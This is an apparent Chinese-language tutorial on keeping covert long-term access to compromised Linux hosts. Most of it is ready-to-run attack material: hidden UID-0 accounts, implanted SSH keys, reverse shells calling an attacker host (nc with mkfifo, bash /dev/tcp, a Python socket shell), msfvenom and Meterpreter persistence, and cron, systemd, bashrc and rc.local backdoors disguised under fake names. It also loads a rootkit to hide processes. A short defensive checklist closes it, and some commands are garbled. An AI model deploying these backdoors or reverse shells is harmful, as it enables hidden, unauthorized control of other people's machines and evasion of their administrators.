用途限制聲明,本文僅用于網絡安全技術研究、教育與知識分享。文中涉及的滲透測試方法與工具,嚴禁用于未經授權的網絡攻擊、數據竊取或任何違法活動。任何因不當使用本文內容導致的法律后果,作者及發布平臺不承擔任何責任。滲透測試涉及復雜技術操作,可能對目標系統造成數據損壞、服務中斷等風險。讀者需充分評估技術能力與潛在后果,在合法合規前提下謹慎實踐。
這次我們來講述權限維持技術,權限維持的核心目標是長期、穩定、隱蔽地控制目標主機,避免因系統重啟、賬號清理、日志審計等操作丟失權限。以下從「系統賬號」「后門程序」「服務 / 計劃任務」「內核層」「環境與啟動項」五大維度,系統梳理常見技術手段,并分析其隱蔽性與風險。
一、系統賬號類維持
通過創建或篡改系統賬號,實現長期登錄,核心是 “讓賬號看起來合法,或難以被發現”。
1.1 隱藏管理員賬號(UID=0)
Linux 中UID=0
即擁有 root 權限,可通過修改/etc/passwd
創建 “名不副實” 的管理員賬號,甚至隱藏賬號名。
- 原理:
/etc/passwd
存儲賬號基本信息,格式為用戶名:密碼占位符:UID:GID:注釋:家目錄:shell
;若將普通用戶名的UID/GID
改為 0,該用戶即擁有 root 權限。 - 操作:
- 直接編輯
/etc/passwd
,添加一行(注意密碼哈希需提前生成,如用openssl passwd -1 密碼
生成 MD5 哈希):# 正常賬號(UID=1000) test:x:1000:1000:Test User:/home/test:/bin/bash # 隱藏管理員賬號(UID=0,用戶名前加空格,ls/useradd難以直接發現) [空格]admin:$1$abc123$xyz789:/0:0:Hidden Admin:/root:/bin/bash
- 登錄時使用
[空格]admin
(輸入時先敲空格)+ 密碼,即可獲取 root 權限。
- 直接編輯
- 隱蔽性:常規命令(如
cat /etc/passwd | grep root
)無法匹配,需cat /etc/passwd
逐行查看;但id [空格]admin
或ls -l /home
仍可能暴露。
1.2 SSH 公鑰持久化
通過將攻擊者的 SSH 公鑰寫入目標主機的~/.ssh/authorized_keys
,實現免密碼登錄,隱蔽性高且抗重啟。
- 原理:SSH 默認優先驗證
authorized_keys
中的公鑰,若匹配則無需密碼即可登錄;即使目標修改 root 密碼,公鑰登錄仍有效。 - 操作:
- 攻擊者本地生成 SSH 密鑰對:
ssh-keygen -t rsa
(一路回車,生成~/.ssh/id_rsa
私鑰和id_rsa.pub
公鑰)。 - 將公鑰上傳到目標主機的 root 家目錄(或其他高權限用戶):
# 目標主機執行(確保.ssh目錄權限為700,authorized_keys為600) mkdir -p /root/.ssh && chmod 700 /root/.ssh echo "攻擊者的id_rsa.pub內容" >> /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys
- 攻擊者本地登錄:
ssh root@目標IP
(無需輸入密碼)。 -
ssh 用戶@IP地址
- 攻擊者本地生成 SSH 密鑰對:
- 隱蔽性優化:
- 隱藏
authorized_keys
文件:將文件名改為/root/.ssh/authorized_keys2
(部分 SSH 配置支持,需確認sshd_config
的AuthorizedKeysFile
參數),或添加隱藏屬性chattr +i /root/.ssh/authorized_keys
。
- 隱藏
1.3 sudo 免密配置
若僅獲取普通用戶權限,可通過修改sudoers
文件,讓該用戶免密執行 root 命令,實現 “低權限→高權限” 的持久化。
- 操作:
- 編輯
sudoers
文件(必須用visudo
):visudo
。 - 添加一行(
test
為普通用戶名,允許免密執行所有 root 命令):test ALL=(ALL) NOPASSWD: ALL
- 普通用戶提權:
sudo su -
(無需輸入密碼,直接切換為 root)。
- 編輯
- 隱蔽性:
sudo -l
可查看當前用戶的 sudo 權限,需避免目標執行該命令;可限制僅允許免密執行特定命令(如/bin/bash
),降低暴露概率。
二、后門程序類維持
通過在目標主機部署后門程序,實現主動連接或被動監聽,核心是 “規避殺軟與進程檢測”。
2.1 反向 Shell 后門
內網環境中,目標通常無法被外網直接訪問,因此反向 Shell(目標主動連接攻擊者)是主流選擇,常見工具有nc
、bash
、python
等。
(1)Netcat 反向后門
- 原理:
nc
(Netcat)是 “網絡瑞士軍刀”,可建立 TCP/UDP 連接并綁定 Shell;需使用靜態編譯版 nc,且優先選擇加密版本。 - 操作步驟:
- 攻擊者監聽端口(如 8888):
nc -lvp 8888
(-l
監聽,-v
詳細輸出,-p
指定端口)。 - 目標主機執行反向連接(綁定 bash):
nc -lvp 8888 # 在目標機執行(替換為你的攻擊機IP和端口) rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.228.70.176 8888 > /tmp/f #rm -f /tmp/f; mkfifo /tmp/f:刪除可能存在的舊管道文件,創建一個新的命名管道 /tmp/f。 cat /tmp/f | /bin/bash -i 2>&1:將管道的輸入傳遞給交互式 bash(-i),并將 bash 的輸出(包括錯誤 2>&1)傳遞給后續命令。 nc 10.228.70.176 8888 > /tmp/f:通過 nc 連接攻擊機的 8888 端口,并將攻擊機發送的命令寫入管道 /tmp/f,形成雙向通信。
- ???????
- 攻擊者監聽端口(如 8888):
- 隱蔽性優化:
- 重命名
nc
為系統合法文件名(如/usr/bin/libnet.so
),避免被ps
直接發現。 - 后臺運行:
nohup ./nc-static 攻擊者IP 8888 -e /bin/bash &
(nohup
忽略掛斷信號,&
后臺運行)。
- 重命名
(2)無文件反向 Shell
無需上傳nc
等工具,直接利用目標系統自帶的bash
、python
、perl
等命令生成 Shell,規避文件檢測。
- 示例 1:bash 反向 Shell(僅支持 bash 環境):
bash -i >& /dev/tcp/攻擊者IP/8888 0>&1 # 解析:bash -i(交互Shell),將輸出重定向到攻擊者IP:8888,輸入重定向到輸出
- 示例 2:python 反向 Shell(目標需安裝 python):
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻擊者IP",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
- 隱蔽性:無落地文件,僅在進程列表中顯示
bash
或python
,需結合進程隱藏技術(如下文的LD_PRELOAD
劫持)。
2.2 SSH 后門(替換 / 篡改 SSH 服務,持久化登錄)
通過修改 SSH 服務配置或替換sshd
二進制文件,實現 “秘密登錄”,隱蔽性極高。
(1)SSH 密鑰日志后門(記錄合法用戶密碼 / 密鑰)
- 原理:修改
sshd
的 PAM(Pluggable Authentication Modules)配置,在用戶登錄時記錄密碼或公鑰,無需替換sshd
二進制。 - 操作步驟:
- 編輯 PAM 配置文件:
vi /etc/pam.d/sshd
,添加一行(記錄登錄信息到/tmp/ssh.log
):session required pam_exec.so /usr/local/bin/ssh-logger.sh
- 編寫日志腳本
/usr/local/bin/ssh-logger.sh
(記錄用戶名、IP、時間):#!/bin/bash echo "$(date +%Y-%m-%d_%H:%M:%S) - User: $PAM_USER, IP: $PAM_RHOST" >> /tmp/ssh.log exit 0
- 賦予腳本權限:
chmod +x /usr/local/bin/ssh-logger.sh
,重啟 sshd:systemctl restart sshd
。
- 編輯 PAM 配置文件:
- 隱蔽性:
/etc/pam.d/sshd
是系統常規配置文件,難以發現;日志文件需隱藏(如/var/log/ssh/sshd.log
,偽裝系統日志)。
(2)替換 sshd 二進制(植入后門,高權限控制)
- 原理:使用開源 SSH 后門(如
OpenSSH后門
)替換系統默認的/usr/sbin/sshd
,實現 “特定密碼 / 密鑰登錄”,即使 root 密碼修改仍有效。
2.3 Meterpreter/Cobalt Strike 后門
滲透測試工具(如 Metasploit、Cobalt Strike)提供成熟的 Linux 后門模塊,支持持久化、加密傳輸、進程遷移,適合復雜內網環境。
(1)Metasploit 的 Linux 持久化模塊
- 操作步驟:
- 生成 Linux payload(反向連接):
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=攻擊者IP LPORT=8888 -f elf -o backdoor.elf
- 上傳
backdoor.elf
到目標,執行獲取 Meterpreter 會話:./backdoor.elf
。 - 在 Meterpreter 中執行持久化:
run persistence -X -i 30 -p 8888 -r 攻擊者IP # -X:系統啟動時自動運行,-i 30:每30秒重連,-p/-r:攻擊者端口/IP
- 生成 Linux payload(反向連接):
- 原理:模塊會在
/etc/rc.local
、crontab
等啟動項中添加后門,實現開機自啟。
(2)Cobalt Strike Beacon(企業級隱蔽后門)
- 特點:支持
DNS/HTTP/HTTPS
隧道(穿透嚴格防火墻)、進程注入(避免獨立進程被發現)、睡眠模式(降低資源占用),是內網后滲透的首選工具。 - 操作:生成 Linux 格式的 Beacon(如
elf
文件),上傳目標執行后,通過 C2 服務器控制,可直接在 Beacon 中執行persistence
命令配置持久化(如添加計劃任務、系統服務)。
三、服務與計劃任務類維持
利用 Linux 的系統服務(systemd
/sysvinit
)或計劃任務(crontab
),實現 “開機自啟、定時執行”,隱蔽性依賴 “偽裝成合法服務 / 任務”。
3.1 Crontab 計劃任務(簡單高效,最常用)
crontab
是 Linux 定時任務管理器,分為用戶級(crontab -e
)和系統級(/etc/crontab
、/etc/cron.d/
),支持分鐘 / 小時 / 日 / 月 / 周的定時執行。
(1)系統級定時任務(高權限,抗用戶清理)
- 操作示例:
- 編輯系統級 crontab:
vi /etc/crontab
,添加一行(每 10 分鐘執行反向 Shell):*/10 * * * * root /usr/local/bin/backdoor.sh # 每10分鐘,root用戶執行
- 編寫
backdoor.sh
(反向連接腳本,需隱藏路徑和文件名):#!/bin/bash # 檢查后門是否已運行,避免重復啟動 if ! ps aux | grep "nc-static" | grep -v grep; then/usr/local/bin/nc-static 攻擊者IP 8888 -e /bin/bash & fi
- 賦予權限:
chmod +x /usr/local/bin/backdoor.sh
,重啟 crond 服務:systemctl restart crond
。
- 編輯系統級 crontab:
- 隱蔽性優化:
- 偽裝任務注釋:在
/etc/crontab
中添加類似系統任務的注釋(如# 定時清理日志
)。 - 隱藏腳本路徑:將
backdoor.sh
放在/usr/lib
、/usr/bin
等系統目錄,重命名為libclean.sh
。
- 偽裝任務注釋:在
(2)用戶級定時任務(低權限,不易被系統管理員發現)
- 普通用戶執行
crontab -e
,添加定時任務(語法與系統級一致),適合僅獲取普通權限的場景;若該用戶有sudo
權限,可定時執行sudo
命令提權。
3.2 Systemd 服務持久化
systemd
是主流 Linux 發行版(如 CentOS 7+、Ubuntu 16+)的系統初始化系統,通過*.service
文件管理服務,支持開機自啟、進程監控(崩潰自動重啟)。
- 操作步驟:
- 創建服務文件(如
/lib/systemd/system/network-monitor.service
,偽裝 “網絡監控服務”):[Unit] Description=Network Monitor Service # 偽裝描述 After=network.target # 網絡啟動后運行[Service] Type=simple ExecStart=/usr/local/bin/backdoor.elf # 后門程序路徑 Restart=always # 進程崩潰后自動重啟 RestartSec=5 # 崩潰后5秒重啟[Install] WantedBy=multi-user.target # 多用戶模式下啟動
- 啟用并啟動服務:
systemctl daemon-reload # 重新加載服務配置 systemctl enable network-monitor.service # 開機自啟 systemctl start network-monitor.service # 立即啟動
- 創建服務文件(如
- 隱蔽性:
systemctl list-units --type=service
可查看所有服務,需確保服務名和描述與系統合法服務相似(如networkd
、syslog
);可通過systemctl mask
隱藏服務(不推薦,易觸發告警)。
四、內核層維持
通過加載內核模塊(LKM)后門或植入Rootkit,直接控制 Linux 內核,繞過用戶態檢測工具(如ps
、top
、netstat
),隱蔽性最高,但技術門檻也最高。
4.1 LKM Rootkit(加載內核模塊,隱藏進程 / 端口)
LKM(Loadable Kernel Module)是可動態加載到內核的模塊,Rootkit 通過修改內核函數(如sys_getdents
、sys_getpid
),實現 “進程隱藏、端口隱藏、日志篡改”。
常見 LKM Rootkit 工具
工具名稱 | 支持內核版本 | 核心功能 | 風險 |
---|---|---|---|
Knark | Linux 2.4.x/2.6.x | 隱藏進程、文件、端口,日志清理 | 僅支持老舊內核,現代內核(3.x+)兼容性差 |
Adore-ng | Linux 2.6.x/3.x | 隱藏進程、文件,提權,端口轉發 | 需關閉內核安全機制(如 SMAP/SMEP) |
Diamorphine | Linux 2.6.x-5.x | 支持新內核,隱藏進程、文件、模塊,反調試 | 開源,易被 EDR 檢測特征 |
操作原理
- 編譯 LKM Rootkit(需匹配目標內核版本,安裝
kernel-devel
):make # 編譯生成diamorphine.ko(內核模塊文件)
- 加載模塊(需 root 權限,且內核允許加載未簽名模塊):
insmod diamorphine.ko # 加載模塊
- 隱藏進程(以
backdoor.elf
為例):echo "hide 1234" > /proc/diamorphine # 1234為backdoor.elf的PID
- 隱蔽性:用戶態工具(如
ps
、lsmod
)無法檢測到隱藏的進程和模塊;但需繞過內核安全機制(如Secure Boot
、內核簽名驗證),現代 Linux 系統默認啟用這些機制,加載 LKM 難度較大。
五、環境與啟動項類維持
通過修改系統啟動文件或環境變量,實現 “用戶登錄 / 系統啟動時自動執行后門”,適合低權限場景。
5.1 登錄 Shell 配置文件(用戶登錄觸發)
Linux 用戶登錄時,會自動執行~/.bashrc
、~/.bash_profile
、/etc/profile
等配置文件,可在這些文件中植入后門命令。
- 操作示例:
- 編輯 root 用戶的
~/.bashrc
(僅 root 登錄時觸發):# 在文件末尾添加(隱藏后門命令,用注釋偽裝) # 系統環境變量初始化(偽裝注釋) if [ -f /usr/local/bin/sysinit.sh ]; then/usr/local/bin/sysinit.sh & fi
- 編寫
/usr/local/bin/sysinit.sh
(反向 Shell 腳本):#!/bin/bash nohup nc 攻擊者IP 8888 -e /bin/bash &
- 編輯 root 用戶的
- 隱蔽性:
cat ~/.bashrc
可查看配置,需避免目標手動檢查;可僅在普通用戶的配置文件中植入(如/home/test/.bashrc
),降低被系統管理員發現的概率。
5.2 /etc/rc.local
/etc/rc.local
是系統啟動的最后一步執行的腳本(需exec /etc/rc.d/rc.local
啟用),適合所有用戶登錄前觸發后門。
- 操作示例:
- 編輯
/etc/rc.local
,在exit 0
前添加:# 啟動系統監控服務(偽裝注釋) /usr/local/bin/backdoor.elf &
- 賦予執行權限:
chmod +x /etc/rc.local
,啟用服務(CentOS 7+):systemctl enable rc-local.service systemctl start rc-local.service
- 編輯
六、權限維持的核心防御
理解攻擊手段的同時,需掌握防御方法,避免自身系統被入侵后權限維持:
- 賬號安全:
- 定期審計
/etc/passwd
、/etc/shadow
,檢查異常 UID=0 賬號; - 禁用 SSH 公鑰登錄(或僅允許特定 IP),定期清理
~/.ssh/authorized_keys
; - 嚴格控制
sudoers
權限,避免普通用戶免密提權。
- 定期審計
- 進程與文件監控:
- 使用
ps aux
、netstat -tulnp
定期檢查異常進程和端口; - 監控
/usr/bin
、/usr/lib
、/tmp
等目錄的異常文件,對比文件 MD5 哈希與官方值。
- 使用
- 日志審計:
- 啟用
auditd
服務,監控/etc/passwd
、/etc/crontab
、sshd
等核心文件 / 服務的修改; - 定期檢查
/var/log/auth.log
(SSH 登錄)、/var/log/cron
(計劃任務)、/var/log/messages
(系統日志)的異常記錄。
- 啟用
- 內核安全:
- 啟用
Secure Boot
(阻止未簽名內核模塊加載)、SMAP/SMEP
(防止內核空間與用戶空間數據訪問); - 定期更新內核,修復已知 LKM Rootkit 利用的漏洞。
- 啟用
- 終端防護:
- 部署 EDR(終端檢測與響應)工具,如
Falcon
、EDR for Linux
,檢測反向 Shell、異常進程注入等行為。
- 部署 EDR(終端檢測與響應)工具,如